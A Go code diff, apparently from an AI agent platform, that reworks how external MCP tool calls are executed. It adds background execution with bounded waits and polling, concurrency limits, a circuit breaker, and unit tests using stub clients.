strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
strings.Contains(text, "本次等待已到达") ||
strings.Contains(text, "wait_timeout:") ||
strings.Contains(text, "background execution") ||
strings.Contains(text, "still running") ||
strings.Contains(text, "仍未完成")
return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
}
func isExecutionTerminal(status string) bool {
switch strings.TrimSpace(strings.ToLower(status)) {
case ToolExecutionStatusCompleted, ToolExecutionStatusFailed, ToolExecutionStatusCancelled, ToolExecutionStatusHardTimeout, ToolExecutionStatusOrphaned:
return true
default:
return false
}
}
func ctxDone(ctx context.Context) <-chan struct{} {
if ctx == nil {
return nil
}
return ctx.Done()
}
func detachedExecutionContext(ctx context.Context) context.Context {
if ctx == nil {
return context.Background()
}
return context.WithoutCancel(ctx)
}
func cloneArgsMap(in map[string]interface{}) map[string]interface{} {
if in == nil {
return map[string]interface{}{}
}
out := make(map[string]interface{}, len(in))
for k, v := range in {
out[k] = v
}
return out
}
func cloneToolExecution(in *ToolExecution) *ToolExecution {
if in == nil {
return nil
}
out := *in
out.Arguments = cloneArgsMap(in.Arguments)
if in.Result != nil {
res := *in.Result
if in.Result.Content != nil {
res.Content = append([]Content(nil), in.Result.Content...)
}
out.Result = &res
}
if in.EndTime != nil {
t := *in.EndTime
out.EndTime = &t
}
if in.PartialOutputUpdatedAt != nil {
t := *in.PartialOutputUpdatedAt
out.PartialOutputUpdatedAt = &t
}
return &out
}
func appendPartialOutput(exec *ToolExecution, chunk string, maxBytes int, updatedAt time.Time) {
if exec == nil || chunk == "" {
return
}
if maxBytes <= 0 {
maxBytes = defaultPartialOutputMaxBytes
}
exec.PartialOutputBytes += int64(len([]byte(chunk)))
combined := exec.PartialOutput + chunk
if len([]byte(combined)) > maxBytes {
b := []byte(combined)
combined = string(b[len(b)-maxBytes:])
exec.PartialOutputTruncated = true
}
exec.PartialOutput = combined
t := updatedAt
exec.PartialOutputUpdatedAt = &t
}
+41
View File
@@ -0,0 +1,41 @@
package mcp
import (
"context"
"testing"
)
func TestExecutionServiceBackgroundWaitResultCompletesWaitTool(t *testing.T) {
service := NewExecutionService(nil, nil)
handle, err := service.Submit(context.Background(), ExecutionRequest{
ToolName: "wait_tool_execution",
Run: func(context.Context) (*ToolResult, error) {
return &ToolResult{
Content: []Content{{Type: "text", Text: `{
"execution_id": "3eaaa391-050b-4be1-a870-48a855923cb7",
"tool": "exec",
"status": "running"
}
本次等待已到达 timeout_seconds上述 execution 仍未完成可继续等待取消或采用其他步骤`}},
IsError: true,
}, nil
},
})
if err != nil {
t.Fatalf("Submit: %v", err)
}
snap, err := service.Wait(context.Background(), handle.ID, 0)
if err != nil {
t.Fatalf("Wait: %v", err)
}
if snap == nil || snap.Execution == nil {
t.Fatal("missing execution snapshot")
}
if snap.Execution.Status != ToolExecutionStatusCompleted {
t.Fatalf("status = %q, want %q", snap.Execution.Status, ToolExecutionStatusCompleted)
}
if snap.Execution.Result == nil || !snap.Execution.Result.IsError {
t.Fatal("model-facing result should remain IsError")
}
}
+375 -130
View File
@@ -2,6 +2,7 @@ package mcp
import (
"context"
"errors"
"fmt"
"strings"
"sync"
@@ -11,8 +12,6 @@ import (
"cyberstrike-ai/internal/authctx"
"cyberstrike-ai/internal/config"
"github.com/google/uuid"
"go.uber.org/zap"
)
@@ -36,32 +35,52 @@ type listToolsInflight struct {
err error
}
type ExternalMCPResilienceConfig struct {
MaxConcurrentPerServer int
MaxConcurrentTotal int
CircuitFailureThreshold int
CircuitCooldown time.Duration
}
type externalMCPServerRuntime struct {
semaphore chan struct{}
consecutiveFailures int
circuitOpenUntil time.Time
}
// ExternalMCPManager 外部MCP管理器
type ExternalMCPManager struct {
clients map[string]ExternalMCPClient
configs map[string]config.ExternalMCPServerConfig
logger *zap.Logger
storage MonitorStorage // 可选的持久化存储
executions map[string]*ToolExecution // 执行记录
stats map[string]*ToolStats // 工具统计信息
errors map[string]string // 错误信息
toolCounts map[string]int // 工具数量缓存
toolCountsMu sync.RWMutex // 工具数量缓存的锁
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
toolCacheMu sync.RWMutex // 工具列表缓存的锁
listToolsMu sync.Mutex
listToolsInflight map[string]*listToolsInflight
stopRefresh chan struct{} // 停止后台刷新的信号
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
mu sync.RWMutex
runningCancels map[string]context.CancelFunc
abortUserNotes map[string]string
reconnectMu sync.Mutex
reconnecting map[string]bool
reconnectLastTry map[string]time.Time
reconnectAttempts map[string]int
toolAuthorizer func(context.Context, string, map[string]interface{}) error
clients map[string]ExternalMCPClient
configs map[string]config.ExternalMCPServerConfig
logger *zap.Logger
storage MonitorStorage // 可选的持久化存储
executions map[string]*ToolExecution // 执行记录
stats map[string]*ToolStats // 工具统计信息
errors map[string]string // 错误信息
toolCounts map[string]int // 工具数量缓存
toolCountsMu sync.RWMutex // 工具数量缓存的锁
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
toolCacheMu sync.RWMutex // 工具列表缓存的锁
listToolsMu sync.Mutex
listToolsInflight map[string]*listToolsInflight
stopRefresh chan struct{} // 停止后台刷新的信号
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
mu sync.RWMutex
runningCancels map[string]context.CancelFunc
abortUserNotes map[string]string
reconnectMu sync.Mutex
reconnecting map[string]bool
reconnectLastTry map[string]time.Time
reconnectAttempts map[string]int
toolAuthorizer func(context.Context, string, map[string]interface{}) error
executionService *ExecutionService
toolWaitTimeout time.Duration
toolResultMaxBytes int
spillRootDir string
resilience ExternalMCPResilienceConfig
serverRuntimes map[string]*externalMCPServerRuntime
globalSemaphore chan struct{}
}
// NewExternalMCPManager 创建外部MCP管理器
@@ -80,28 +99,119 @@ func (m *ExternalMCPManager) SetToolAuthorizer(authorizer func(context.Context,
// NewExternalMCPManagerWithStorage 创建外部MCP管理器(带持久化存储)
func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage) *ExternalMCPManager {
manager := &ExternalMCPManager{
clients: make(map[string]ExternalMCPClient),
configs: make(map[string]config.ExternalMCPServerConfig),
logger: logger,
storage: storage,
executions: make(map[string]*ToolExecution),
stats: make(map[string]*ToolStats),
errors: make(map[string]string),
toolCounts: make(map[string]int),
toolCache: make(map[string]toolListCacheEntry),
listToolsInflight: make(map[string]*listToolsInflight),
stopRefresh: make(chan struct{}),
runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
reconnecting: make(map[string]bool),
reconnectLastTry: make(map[string]time.Time),
reconnectAttempts: make(map[string]int),
clients: make(map[string]ExternalMCPClient),
configs: make(map[string]config.ExternalMCPServerConfig),
logger: logger,
storage: storage,
executions: make(map[string]*ToolExecution),
stats: make(map[string]*ToolStats),
errors: make(map[string]string),
toolCounts: make(map[string]int),
toolCache: make(map[string]toolListCacheEntry),
listToolsInflight: make(map[string]*listToolsInflight),
stopRefresh: make(chan struct{}),
runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
reconnecting: make(map[string]bool),
reconnectLastTry: make(map[string]time.Time),
reconnectAttempts: make(map[string]int),
toolWaitTimeout: 60 * time.Second,
toolResultMaxBytes: DefaultToolResultMaxBytes,
resilience: ExternalMCPResilienceConfig{
MaxConcurrentPerServer: 2,
MaxConcurrentTotal: 16,
CircuitFailureThreshold: 3,
CircuitCooldown: 60 * time.Second,
},
serverRuntimes: make(map[string]*externalMCPServerRuntime),
globalSemaphore: make(chan struct{}, 16),
}
manager.executionService = NewExecutionService(storage, logger)
// 启动后台刷新工具数量的goroutine
manager.startToolCountRefresh()
return manager
}
func (m *ExternalMCPManager) ConfigureToolResultMaxBytes(maxBytes int) {
if m == nil {
return
}
m.mu.Lock()
m.toolResultMaxBytes = maxBytes
m.mu.Unlock()
if m.executionService != nil {
m.executionService.ConfigureToolResultMaxBytes(maxBytes)
}
}
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
func (m *ExternalMCPManager) ConfigureToolResultSpillRoot(rootDir string) {
if m == nil {
return
}
m.mu.Lock()
m.spillRootDir = strings.TrimSpace(rootDir)
m.mu.Unlock()
if m.executionService != nil {
m.executionService.ConfigureToolResultSpillRoot(rootDir)
}
}
// ConfigureToolWaitTimeoutSeconds controls how long an agent-facing tool call
// waits for an external MCP execution before returning an execution_id that can
// be polled with wait_tool_execution. seconds<=0 waits until completion.
func (m *ExternalMCPManager) ConfigureToolWaitTimeoutSeconds(seconds int) {
if m == nil {
return
}
m.mu.Lock()
defer m.mu.Unlock()
if seconds <= 0 {
m.toolWaitTimeout = 0
return
}
m.toolWaitTimeout = time.Duration(seconds) * time.Second
}
func (m *ExternalMCPManager) ConfigureResilience(cfg ExternalMCPResilienceConfig) {
if m == nil {
return
}
normalized := normalizeExternalMCPResilienceConfig(cfg)
m.mu.Lock()
defer m.mu.Unlock()
m.resilience = normalized
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
if normalized.MaxConcurrentTotal > 0 {
m.globalSemaphore = make(chan struct{}, normalized.MaxConcurrentTotal)
} else {
m.globalSemaphore = nil
}
}
func normalizeExternalMCPResilienceConfig(cfg ExternalMCPResilienceConfig) ExternalMCPResilienceConfig {
if cfg.MaxConcurrentPerServer == 0 {
cfg.MaxConcurrentPerServer = 2
}
if cfg.MaxConcurrentTotal == 0 {
cfg.MaxConcurrentTotal = 16
}
if cfg.CircuitFailureThreshold == 0 {
cfg.CircuitFailureThreshold = 3
}
if cfg.CircuitCooldown <= 0 {
cfg.CircuitCooldown = 60 * time.Second
}
if cfg.MaxConcurrentPerServer < 0 {
cfg.MaxConcurrentPerServer = 0
}
if cfg.MaxConcurrentTotal < 0 {
cfg.MaxConcurrentTotal = 0
}
return cfg
}
// LoadConfigs 加载配置
func (m *ExternalMCPManager) LoadConfigs(cfg *config.ExternalMCPConfig) {
m.mu.Lock()
@@ -588,6 +698,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
if !exists {
return nil, "", fmt.Errorf("外部MCP客户端不存在: %s", mcpName)
}
if err := m.checkExternalMCPCircuit(mcpName); err != nil {
return nil, "", err
}
// 检查连接状态,如果未连接或状态为error,不允许调用
if !client.IsConnected() {
@@ -603,107 +716,217 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
return nil, "", fmt.Errorf("外部MCP客户端未连接: %s (状态: %s)", mcpName, status)
}
// 创建执行记录
executionID := uuid.New().String()
execution := &ToolExecution{
ID: executionID,
ToolName: toolName, // 使用完整工具名称(包含MCP名称)
Arguments: args,
Status: "running",
StartTime: time.Now(),
if m.executionService == nil {
m.executionService = NewExecutionService(m.storage, m.logger)
m.executionService.ConfigureToolResultMaxBytes(m.toolResultMaxBytes)
m.executionService.ConfigureToolResultSpillRoot(m.spillRootDir)
}
var ownerUserID string
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
execution.OwnerUserID = principal.UserID
ownerUserID = principal.UserID
}
execution.ConversationID = MCPConversationIDFromContext(ctx)
m.mu.Lock()
m.executions[executionID] = execution
// 如果内存中的执行记录超过限制,清理最旧的记录
m.cleanupOldExecutions()
m.mu.Unlock()
if m.storage != nil {
if err := m.storage.SaveToolExecution(execution); err != nil {
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
}
}
execCtx, runCancel := context.WithCancel(ctx)
m.registerRunningCancel(executionID, runCancel)
notifyToolRunBegin(ctx, executionID)
defer func() {
notifyToolRunEnd(ctx, executionID)
runCancel()
m.unregisterRunningCancel(executionID)
}()
// 调用工具
result, err := client.CallTool(execCtx, actualToolName, args)
handle, err := m.executionService.Submit(ctx, ExecutionRequest{
ToolName: toolName,
Arguments: args,
ConversationID: MCPConversationIDFromContext(ctx),
OwnerUserID: ownerUserID,
PreRun: func(runCtx context.Context, exec *ToolExecution) (func(), error) {
release, acquireErr := m.acquireExternalMCPCallSlot(runCtx, mcpName)
if acquireErr != nil {
return nil, acquireErr
}
return release, nil
},
Run: func(runCtx context.Context) (*ToolResult, error) {
result, callErr := client.CallTool(runCtx, actualToolName, args)
if callErr != nil {
m.handleConnectionDead(mcpName, client, callErr)
}
return result, callErr
},
OnDone: func(exec *ToolExecution) {
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
m.recordExternalMCPResult(mcpName, failed)
m.updateStats(toolName, failed)
},
})
if err != nil {
m.handleConnectionDead(mcpName, client, err)
return nil, "", err
}
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
// 更新执行记录
m.mu.RLock()
waitTimeout := m.toolWaitTimeout
m.mu.RUnlock()
snapshot, waitErr := m.executionService.Wait(ctx, handle.ID, waitTimeout)
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
return externalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
}
if waitErr != nil {
return nil, handle.ID, waitErr
}
if snapshot == nil || snapshot.Execution == nil {
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
}
if snapshot.Execution.Result != nil {
return snapshot.Execution.Result, handle.ID, nil
}
if snapshot.Execution.Error != "" {
return nil, handle.ID, errors.New(snapshot.Execution.Error)
}
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
}
func externalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
execID := ""
status := ToolExecutionStatusRunning
toolName := ""
elapsed := time.Duration(0)
if snapshot != nil && snapshot.Execution != nil {
execID = snapshot.Execution.ID
status = snapshot.Execution.Status
toolName = snapshot.Execution.ToolName
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
}
waitText := "unbounded"
if waitTimeout > 0 {
waitText = waitTimeout.Round(time.Second).String()
}
msg := fmt.Sprintf(`工具已提交到后台执行但本次等待已到达上限
execution_id: %s
tool: %s
status: %s
wait_timeout: %s
elapsed: %s
你可以继续推理改用其他工具或调用 wait_tool_execution 继续等待该 execution_id也可以调用 cancel_tool_execution 取消`, execID, toolName, status, waitText, elapsed)
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
}
func (m *ExternalMCPManager) checkExternalMCPCircuit(mcpName string) error {
if m == nil {
return nil
}
name := strings.TrimSpace(mcpName)
if name == "" {
return nil
}
m.mu.Lock()
defer m.mu.Unlock()
if m.resilience.CircuitFailureThreshold < 0 {
return nil
}
rt := m.externalMCPRuntimeLocked(name)
if rt == nil || rt.circuitOpenUntil.IsZero() {
return nil
}
now := time.Now()
execution.EndTime = &now
execution.Duration = now.Sub(execution.StartTime)
if err != nil {
st, msg := executionStatusAndMessage(err)
execution.Status = st
execution.Error = msg
} else if result != nil && result.IsError {
if cancelledWithUserNote {
execution.Status = "cancelled"
execution.Error = ""
execution.Result = result
} else {
execution.Status = "failed"
if len(result.Content) > 0 {
execution.Error = result.Content[0].Text
} else {
execution.Error = "工具执行返回错误结果"
}
execution.Result = result
}
} else {
execution.Status = "completed"
if result == nil {
result = &ToolResult{
Content: []Content{
{Type: "text", Text: "工具执行完成,但未返回结果"},
},
}
}
execution.Result = result
if now.Before(rt.circuitOpenUntil) {
return fmt.Errorf("外部MCP服务 %s 已临时熔断,预计 %s 后重试", name, time.Until(rt.circuitOpenUntil).Round(time.Second))
}
rt.circuitOpenUntil = time.Time{}
return nil
}
func (m *ExternalMCPManager) acquireExternalMCPCallSlot(ctx context.Context, mcpName string) (func(), error) {
if m == nil {
return func() {}, nil
}
name := strings.TrimSpace(mcpName)
m.mu.Lock()
rt := m.externalMCPRuntimeLocked(name)
serverSem := chan struct{}(nil)
if rt != nil {
serverSem = rt.semaphore
}
globalSem := m.globalSemaphore
m.mu.Unlock()
if m.storage != nil {
if err := m.storage.SaveToolExecution(execution); err != nil {
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
releaseGlobal := false
if globalSem != nil {
select {
case globalSem <- struct{}{}:
releaseGlobal = true
case <-ctxDone(ctx):
return func() {}, contextErr(ctx)
}
}
// 更新统计信息
failed := err != nil || (result != nil && result.IsError)
m.updateStats(toolName, failed)
// 如果使用存储,从内存中删除(已持久化)
if m.storage != nil {
m.mu.Lock()
delete(m.executions, executionID)
m.mu.Unlock()
releaseServer := false
if serverSem != nil {
select {
case serverSem <- struct{}{}:
releaseServer = true
case <-ctxDone(ctx):
if releaseGlobal {
<-globalSem
}
return func() {}, contextErr(ctx)
}
}
return func() {
if releaseServer {
<-serverSem
}
if releaseGlobal {
<-globalSem
}
}, nil
}
if err != nil {
return nil, executionID, err
func contextErr(ctx context.Context) error {
if ctx == nil || ctx.Err() == nil {
return context.Canceled
}
return ctx.Err()
}
return result, executionID, nil
func (m *ExternalMCPManager) recordExternalMCPResult(mcpName string, failed bool) {
if m == nil || strings.TrimSpace(mcpName) == "" {
return
}
m.mu.Lock()
defer m.mu.Unlock()
rt := m.externalMCPRuntimeLocked(mcpName)
if rt == nil {
return
}
if !failed {
rt.consecutiveFailures = 0
rt.circuitOpenUntil = time.Time{}
return
}
if m.resilience.CircuitFailureThreshold < 0 {
return
}
rt.consecutiveFailures++
if rt.consecutiveFailures >= m.resilience.CircuitFailureThreshold {
rt.circuitOpenUntil = time.Now().Add(m.resilience.CircuitCooldown)
m.logger.Warn("外部MCP服务触发熔断",
zap.String("name", mcpName),
zap.Int("consecutiveFailures", rt.consecutiveFailures),
zap.Duration("cooldown", m.resilience.CircuitCooldown),
)
}
}
func (m *ExternalMCPManager) externalMCPRuntimeLocked(mcpName string) *externalMCPServerRuntime {
if m.serverRuntimes == nil {
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
}
name := strings.TrimSpace(mcpName)
if name == "" {
return nil
}
if rt := m.serverRuntimes[name]; rt != nil {
return rt
}
var sem chan struct{}
if m.resilience.MaxConcurrentPerServer > 0 {
sem = make(chan struct{}, m.resilience.MaxConcurrentPerServer)
}
rt := &externalMCPServerRuntime{semaphore: sem}
m.serverRuntimes[name] = rt
return rt
}
func (m *ExternalMCPManager) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
@@ -785,6 +1008,11 @@ func (m *ExternalMCPManager) cleanupOldExecutions() {
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
func (m *ExternalMCPManager) GetExecution(id string) (*ToolExecution, bool) {
if m.executionService != nil {
if snap, err := m.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
return snap.Execution, true
}
}
m.mu.RLock()
exec, exists := m.executions[id]
m.mu.RUnlock()
@@ -817,6 +1045,9 @@ func (m *ExternalMCPManager) unregisterRunningCancel(id string) {
// CancelToolExecutionWithNote 取消外部 MCP 工具;note 非空时与已返回输出合并后交给模型。
func (m *ExternalMCPManager) CancelToolExecutionWithNote(id string, note string) bool {
if m.executionService != nil && m.executionService.Cancel(id, note) {
return true
}
m.mu.Lock()
cancel, ok := m.runningCancels[id]
if !ok || cancel == nil {
@@ -844,6 +1075,11 @@ func (m *ExternalMCPManager) ActiveRunningExecutionIDs() map[string]struct{} {
if m == nil {
return nil
}
if m.executionService != nil {
if ids := m.executionService.ActiveRunningExecutionIDs(); len(ids) > 0 {
return ids
}
}
m.mu.Lock()
defer m.mu.Unlock()
if len(m.runningCancels) == 0 {
@@ -1335,12 +1571,21 @@ func (m *ExternalMCPManager) StartAllEnabled() {
// StopAll 停止所有客户端
func (m *ExternalMCPManager) StopAll() {
if m.executionService != nil {
m.executionService.CancelAll("外部 MCP 管理器正在停止")
}
clients := make(map[string]ExternalMCPClient)
m.mu.Lock()
defer m.mu.Unlock()
for name, client := range m.clients {
client.Close()
clients[name] = client
delete(m.clients, name)
}
m.mu.Unlock()
for name, client := range clients {
if client != nil {
_ = client.Close()
}
m.clearReconnectState(name)
}
@@ -1360,6 +1605,6 @@ func (m *ExternalMCPManager) StopAll() {
// 已经关闭,不需要再次关闭
default:
close(m.stopRefresh)
m.refreshWg.Wait()
}
m.refreshWg.Wait()
}
+230
View File
@@ -0,0 +1,230 @@
package mcp
import (
"context"
"errors"
"strings"
"sync/atomic"
"testing"
"time"
"go.uber.org/zap"
)
type blockingExternalMCPClient struct {
started chan struct{}
calls chan string
release chan struct{}
result *ToolResult
count atomic.Int32
}
func newBlockingExternalMCPClient(resultText string) *blockingExternalMCPClient {
return &blockingExternalMCPClient{
started: make(chan struct{}),
calls: make(chan string, 8),
release: make(chan struct{}),
result: &ToolResult{Content: []Content{{Type: "text", Text: resultText}}},
}
}
func (c *blockingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
func (c *blockingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
return []Tool{{Name: "slow_tool"}}, nil
}
func (c *blockingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
c.count.Add(1)
select {
case c.calls <- name:
default:
}
select {
case <-c.started:
default:
close(c.started)
}
select {
case <-c.release:
return c.result, nil
case <-ctx.Done():
return nil, ctx.Err()
}
}
func (c *blockingExternalMCPClient) Close() error { return nil }
func (c *blockingExternalMCPClient) IsConnected() bool { return true }
func (c *blockingExternalMCPClient) GetStatus() string { return "connected" }
type failingExternalMCPClient struct{}
func (c *failingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
func (c *failingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
return []Tool{{Name: "fail_tool"}}, nil
}
func (c *failingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
return nil, errors.New("boom")
}
func (c *failingExternalMCPClient) Close() error { return nil }
func (c *failingExternalMCPClient) IsConnected() bool { return true }
func (c *failingExternalMCPClient) GetStatus() string { return "connected" }
func TestExternalMCPManager_CallToolBoundedWaitThenContinue(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.ConfigureToolWaitTimeoutSeconds(1)
manager.toolWaitTimeout = 10 * time.Millisecond
client := newBlockingExternalMCPClient("slow result ready")
manager.clients["lab"] = client
callCtx, callCancel := context.WithCancel(context.Background())
result, executionID, err := manager.CallTool(callCtx, "lab::slow_tool", map[string]interface{}{"target": "example"})
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if executionID == "" {
t.Fatal("expected execution id")
}
if result == nil || !result.IsError {
t.Fatalf("expected soft timeout tool result, got %#v", result)
}
text := ToolResultPlainText(result)
if !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
t.Fatalf("timeout result should include execution id and wait guidance, got %q", text)
}
select {
case <-client.started:
default:
t.Fatal("worker did not start")
}
callCancel()
close(client.release)
snapshot, err := manager.executionService.Wait(context.Background(), executionID, time.Second)
if err != nil {
t.Fatalf("Wait returned error: %v", err)
}
if snapshot == nil || snapshot.Execution == nil {
t.Fatal("expected execution snapshot")
}
if snapshot.Execution.Status != ToolExecutionStatusCompleted {
t.Fatalf("status = %q, want completed", snapshot.Execution.Status)
}
if got := ToolResultPlainText(snapshot.Execution.Result); got != "slow result ready" {
t.Fatalf("result = %q, want slow result ready", got)
}
}
func TestExecutionControlWaitToolReturnsCompletedResult(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.toolWaitTimeout = 10 * time.Millisecond
client := newBlockingExternalMCPClient("control wait result")
manager.clients["lab"] = client
result, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if result == nil || !result.IsError || executionID == "" {
t.Fatalf("expected soft timeout and execution id, got result=%#v id=%q", result, executionID)
}
server := NewServer(zap.NewNop())
RegisterExecutionControlTools(server, manager)
close(client.release)
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
"execution_id": executionID,
"timeout_seconds": 1,
})
if err != nil {
t.Fatalf("wait_tool_execution returned error: %v", err)
}
if waitResult == nil || waitResult.IsError {
t.Fatalf("expected successful wait result, got %#v", waitResult)
}
body := ToolResultPlainText(waitResult)
if !strings.Contains(body, `"status": "completed"`) || !strings.Contains(body, "control wait result") {
t.Fatalf("wait result body missing completed status/result: %s", body)
}
}
func TestExternalMCPManager_PerServerConcurrencyLimitsWorkers(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.toolWaitTimeout = 10 * time.Millisecond
manager.ConfigureResilience(ExternalMCPResilienceConfig{
MaxConcurrentPerServer: 1,
MaxConcurrentTotal: 4,
CircuitFailureThreshold: -1,
CircuitCooldown: time.Second,
})
client := newBlockingExternalMCPClient("ok")
manager.clients["lab"] = client
done1 := make(chan struct{})
go func() {
_, _, _ = manager.CallTool(context.Background(), "lab::slow_tool", nil)
close(done1)
}()
select {
case <-client.calls:
case <-time.After(time.Second):
t.Fatal("first worker did not enter client")
}
type callOutcome struct {
executionID string
err error
}
done2 := make(chan callOutcome, 1)
go func() {
_, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
done2 <- callOutcome{executionID: executionID, err: err}
}()
select {
case <-client.calls:
t.Fatal("second worker entered client before per-server slot was released")
case <-time.After(50 * time.Millisecond):
}
var second callOutcome
select {
case second = <-done2:
case <-time.After(time.Second):
t.Fatal("second call did not return after bounded wait")
}
if second.err != nil || second.executionID == "" {
t.Fatalf("second call should return queued execution id after bounded wait, id=%q err=%v", second.executionID, second.err)
}
snapshot, err := manager.executionService.Get(second.executionID)
if err != nil {
t.Fatalf("Get queued execution: %v", err)
}
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusQueued {
t.Fatalf("second execution status = %#v, want queued", snapshot)
}
close(client.release)
select {
case <-client.calls:
case <-time.After(time.Second):
t.Fatal("second worker did not enter client after slot release")
}
<-done1
}
func TestExternalMCPManager_CircuitBreakerOpensAfterFailures(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.ConfigureResilience(ExternalMCPResilienceConfig{
MaxConcurrentPerServer: 2,
MaxConcurrentTotal: 4,
CircuitFailureThreshold: 1,
CircuitCooldown: time.Minute,
})
manager.clients["lab"] = &failingExternalMCPClient{}
_, _, err := manager.CallTool(context.Background(), "lab::fail_tool", nil)
if err == nil || !strings.Contains(err.Error(), "boom") {
t.Fatalf("expected first call to fail with client error, got %v", err)
}
_, _, err = manager.CallTool(context.Background(), "lab::fail_tool", nil)
if err == nil || !strings.Contains(err.Error(), "熔断") {
t.Fatalf("expected circuit breaker rejection, got %v", err)
}
}
+44
View File
@@ -22,6 +22,8 @@ type EinoExecuteRunRegistry interface {
type toolRunRegistryCtxKey struct{}
type einoExecuteRunRegistryCtxKey struct{}
type mcpConversationIDCtxKey struct{}
type mcpExecutionIDCtxKey struct{}
type mcpProjectIDCtxKey struct{}
// WithToolRunRegistry 将登记器注入 ctxEino / 原生 Agent 任务 ctx)。
func WithToolRunRegistry(ctx context.Context, reg ToolRunRegistry) context.Context {
@@ -78,6 +80,48 @@ func MCPConversationIDFromContext(ctx context.Context) string {
return v
}
// WithMCPExecutionID 将当前工具 executionId 注入 ctx,供超长输出落盘文件名对齐。
func WithMCPExecutionID(ctx context.Context, executionID string) context.Context {
if ctx == nil {
return nil
}
id := strings.TrimSpace(executionID)
if id == "" {
return ctx
}
return context.WithValue(ctx, mcpExecutionIDCtxKey{}, id)
}
// MCPExecutionIDFromContext 读取当前工具 executionId。
func MCPExecutionIDFromContext(ctx context.Context) string {
if ctx == nil {
return ""
}
v, _ := ctx.Value(mcpExecutionIDCtxKey{}).(string)
return v
}
// WithMCPProjectID 将项目 ID 注入 ctx,供 reduction/trunc 落盘路径与项目隔离对齐。
func WithMCPProjectID(ctx context.Context, projectID string) context.Context {
if ctx == nil {
return nil
}
id := strings.TrimSpace(projectID)
if id == "" {
return ctx
}
return context.WithValue(ctx, mcpProjectIDCtxKey{}, id)
}
// MCPProjectIDFromContext 读取项目 ID。
func MCPProjectIDFromContext(ctx context.Context) string {
if ctx == nil {
return ""
}
v, _ := ctx.Value(mcpProjectIDCtxKey{}).(string)
return v
}
func notifyToolRunBegin(ctx context.Context, executionID string) {
reg := ToolRunRegistryFromContext(ctx)
if reg == nil {
+195 -99
View File
@@ -15,6 +15,7 @@ import (
"time"
"cyberstrike-ai/internal/authctx"
"cyberstrike-ai/internal/mcp/builtin"
"github.com/google/uuid"
"go.uber.org/zap"
@@ -52,8 +53,14 @@ type Server struct {
httpToolTimeoutMinutes *int
httpToolTimeoutMu sync.RWMutex
toolAuthorizer func(context.Context, string, map[string]interface{}) error
executionService *ExecutionService
toolWaitTimeout time.Duration
toolResultMaxBytes int
spillRootDir string
}
const defaultPartialOutputMaxBytes = 64 * 1024
// SetToolAuthorizer installs the common policy decision point for every
// user-attributed tool call, whether it originates from HTTP or an Agent.
func (s *Server) SetToolAuthorizer(authorizer func(context.Context, string, map[string]interface{}) error) {
@@ -100,7 +107,10 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
sseClients: make(map[string]*sseClient),
runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
toolWaitTimeout: 60 * time.Second,
toolResultMaxBytes: DefaultToolResultMaxBytes,
}
s.executionService = NewExecutionService(storage, logger)
// 初始化默认提示词和资源
s.initDefaultPrompts()
@@ -109,6 +119,32 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
return s
}
func (s *Server) ConfigureToolResultMaxBytes(maxBytes int) {
if s == nil {
return
}
